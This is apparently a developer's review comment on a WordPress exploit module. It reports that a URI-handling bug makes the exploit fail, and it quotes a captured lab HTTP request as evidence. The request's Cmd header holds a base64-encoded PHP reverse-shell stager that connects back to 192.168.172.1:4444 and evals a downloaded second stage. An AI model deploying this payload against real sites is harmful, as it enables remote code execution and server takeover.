It is causing the exploit to fail, because post_uri.path won't give you the full uri for the post, on my test you're trying to execute with a request like that:

```
GET /wordpress/ HTTP/1.1
Host: 192.168.172.162
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Cmd: Izw/cGhwCgplcnJvcl9yZXBvcnRpbmcoMCk7CiMgVGhlIHBheWxvYWQgaGFuZGxlciBvdmVyd3JpdGVzIHRoaXMgd2l0aCB0aGUgY29ycmVjdCBMSE9TVCBiZWZvcmUgc2VuZGluZwojIGl0IHRvIHRoZSB2aWN0aW0uCiRpcCA9ICcxOTIuMTY4LjE3Mi4xJzsKJHBvcnQgPSA0NDQ0OwokaXBmID0gQUZfSU5FVDsKCmlmIChGQUxTRSAhPT0gc3RycG9zKCRpcCwgIjoiKSkgewoJIyBpcHY2IHJlcXVpcmVzIGJyYWNrZXRzIGFyb3VuZCB0aGUgYWRkcmVzcwoJJGlwID0gIlsiLiAkaXAgLiJdIjsKCSRpcGYgPSBBRl9JTkVUNjsKfQoKaWYgKCgkZiA9ICdzdHJlYW1fc29ja2V0X2NsaWVudCcpICYmIGlzX2NhbGxhYmxlKCRmKSkgewoJJHMgPSAkZigidGNwOi8veyRpcH06eyRwb3J0fSIpOwoJJHNfdHlwZSA9ICdzdHJlYW0nOwp9IGVsc2VpZiAoKCRmID0gJ2Zzb2Nrb3BlbicpICYmIGlzX2NhbGxhYmxlKCRmKSkgewoJJHMgPSAkZigkaXAsICRwb3J0KTsKCSRzX3R5cGUgPSAnc3RyZWFtJzsKfSBlbHNlaWYgKCgkZiA9ICdzb2NrZXRfY3JlYXRlJykgJiYgaXNfY2FsbGFibGUoJGYpKSB7CgkkcyA9ICRmKCRpcGYsIFNPQ0tfU1RSRUFNLCBTT0xfVENQKTsKCSRyZXMgPSBAc29ja2V0X2Nvbm5lY3QoJHMsICRpcCwgJHBvcnQpOwoJaWYgKCEkcmVzKSB7IGRpZSgpOyB9Cgkkc190eXBlID0gJ3NvY2tldCc7Cn0gZWxzZSB7CglkaWUoJ25vIHNvY2tldCBmdW5jcycpOwp9CmlmICghJHMpIHsgZGllKCdubyBzb2NrZXQnKTsgfQoKc3dpdGNoICgkc190eXBlKSB7IApjYXNlICdzdHJlYW0nOiAkbGVuID0gZnJlYWQoJHMsIDQpOyBicmVhazsKY2FzZSAnc29ja2V0JzogJGxlbiA9IHNvY2tldF9yZWFkKCRzLCA0KTsgYnJlYWs7Cn0KaWYgKCEkbGVuKSB7CgkjIFdlIGZhaWxlZCBvbiB0aGUgbWFpbiBzb2NrZXQuICBUaGVyZSdzIG5vIHdheSB0byBjb250aW51ZSwgc28KCSMgYmFpbAoJZGllKCk7Cn0KJGEgPSB1bnBhY2soIk5sZW4iLCAkbGVuKTsKJGxlbiA9ICRhWydsZW4nXTsKCiRiID0gJyc7CndoaWxlIChzdHJsZW4oJGIpIDwgJGxlbikgewoJc3dpdGNoICgkc190eXBlKSB7IAoJY2FzZSAnc3RyZWFtJzogJGIgLj0gZnJlYWQoJHMsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOwoJY2FzZSAnc29ja2V0JzogJGIgLj0gc29ja2V0X3JlYWQoJHMsICRsZW4tc3RybGVuKCRiKSk7IGJyZWFrOwoJfQp9CgojIFNldCB1cCB0aGUgc29ja2V0IGZvciB0aGUgbWFpbiBzdGFnZSB0byB1c2UuCiRHTE9CQUxTWydtc2dzb2NrJ10gPSAkczsKJEdMT0JBTFNbJ21zZ3NvY2tfdHlwZSddID0gJHNfdHlwZTsKZXZhbCgkYik7CmRpZSgpOwo=
Sum: pnzlZtCfGREBUuctfRmiaqdRxmQGTenWCPdwJCVXiVsyiSiWBXdSLOjKDBYlHwJf
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

```

The uri should be something like: /wordpress/?p=1